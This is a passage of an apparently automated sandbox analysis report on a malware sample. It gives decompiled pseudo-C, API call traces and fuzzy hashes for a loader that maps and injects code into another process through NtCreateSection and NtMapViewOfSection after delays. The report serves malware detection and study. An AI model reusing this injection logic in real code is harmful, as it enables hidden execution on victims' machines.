									if(_t223 == 0 && _t223 != 0) {
										 *_t138 = _t190;
										_t206 = _t205;
										_pop(_t205);
									}
									_t207 = _t206 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t207;
									_t208 = _t207 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t206 = _t208 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t206 = _t206 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t227 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L52();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t227, _t229, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction ID: cc3d46135835756f9cafff621b1599bf12e5bdd411ec13d592e282f5f8ecdeaa
Opcode Fuzzy Hash: 7a0e01981222968840e8d8a29b1f12db2e471b747821a4e8d38365e30775b594
Instruction Fuzzy Hash: C1512A75900249BBEB209F91CC48FAFBBB8FF85B00F144169FA11BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E0040151F(void* __ebx, void* __edi, void* __eflags) {
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				intOrPtr _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				void* _t204;
				void* _t205;
				intOrPtr* _t206;
				void* _t207;
				intOrPtr* _t208;
				void* _t209;
				long _t224;
				void* _t230;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t206;
				_t207 = _t206 + 4;
				asm("cmc");
				E0040119E(_t86, __ebx, _t131, 0xc0, __edi, 0x53802c55, __eflags, _t230);
				_t130 =  *((intOrPtr*)(_t205 + 8));
				 *((intOrPtr*)(_t205 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t205 - 0x34)) =  *((intOrPtr*)(_t205 - 0x34)) + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t205 - 0x5c)) = _t89;
				_t187 = _t205 - 0x60;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 = _t205 - 0x30;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 = _t205 - 0x28;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push(_t205 - 0x30);
					_push(_t188);
					_push(0x40);
					_push(_t205 - 0x10);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject( *(_t205 - 0x10), 0xffffffff, 0xffffffff, _t205 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t205 - 8)) = 0;
						_t100 = _t205 - 0x50;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 = _t205 - 0x54;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t205 - 0x50);
							_t123 = _t205 - 0x44;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t125 = _t205 - 0x3c;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189,  *(_t205 - 0xc), _t125, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
									_t204 =  *(_t205 - 0x44);
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) =  *((intOrPtr*)(_t205 + 0x14));
									 *((intOrPtr*)(_t205 - 8)) =  *((intOrPtr*)(_t205 - 8)) + 1;
								}
							}
						}
						_t102 = _t205 - 0x50;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 =  *((intOrPtr*)(_t205 + 0x10)) + 0x10000;
						_t190 = _t205 - 0x58;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 &&  *((intOrPtr*)(_t205 - 8)) != 0) {
							 *_t46 =  *(_t205 - 0x50);
							_t104 = _t205 - 0x48;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0, _t205 - 0x38, 1, 0, 4) == 0) {
								_t106 = _t205 - 0x40;
								 *_t106 = 0;
								_t138 = _t205 - 0x38;
								_t224 = NtMapViewOfSection( *_t190,  *(_t205 - 0xc), _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t224 == 0) {
									L24();
									if(_t224 == 0 && _t224 != 0) {
										 *_t138 = _t190;
										_t207 = _t205;
										_pop(_t205);
									}
									_t208 = _t207 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 =  *_t208;
									_t209 = _t208 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t207 = _t209 - _t164;
									_t195 =  *((intOrPtr*)(_t205 + 0xc)) +  *((intOrPtr*)( *((intOrPtr*)(_t205 + 0xc))));
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) +  *(_t205 - 0x48),  *((intOrPtr*)(_t166 + 0x14)) +  *((intOrPtr*)(_t205 + 0xc)), _t141);
										_t207 = _t207 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t228 =  *((intOrPtr*)(_t205 - 0x34));
									if( *((intOrPtr*)(_t205 - 0x34)) == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) -  *(_t205 - 0x40);
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) +  *(_t205 - 0x48);
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00A91F19 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 00A91F41
Module32First.KERNEL32(00000000,00000224), ref: 00A91F61

Memory Dump Source

Source File: 0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A8B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a8b000_eviivjg.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 761b8f30dcaf689e0edc250d0066f1a979c402e8bf3b4f0c9b671f696540b5a7
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 84F0F63530031A6BEF203BF5A88CB6E72ECBF48364F100529E646914C0DB70EC054660

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00A91BD8 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 00A91C29

Memory Dump Source

Source File: 0000000A.00000002.367359539.0000000000A8B000.00000040.00000020.00020000.00000000.sdmp, Offset: 00A8B000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_a8b000_eviivjg.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 772d362ad0829bef4ec8a7d0ddf2e7fa3b38203806bb6c2100b33b28304c3ccd
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 5D113C79A40209EFDB01DF98CA85E98BBF5AF08390F158094F9489B362D371EA50DF80

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 0000000A.00000002.366819076.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_400000_eviivjg.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

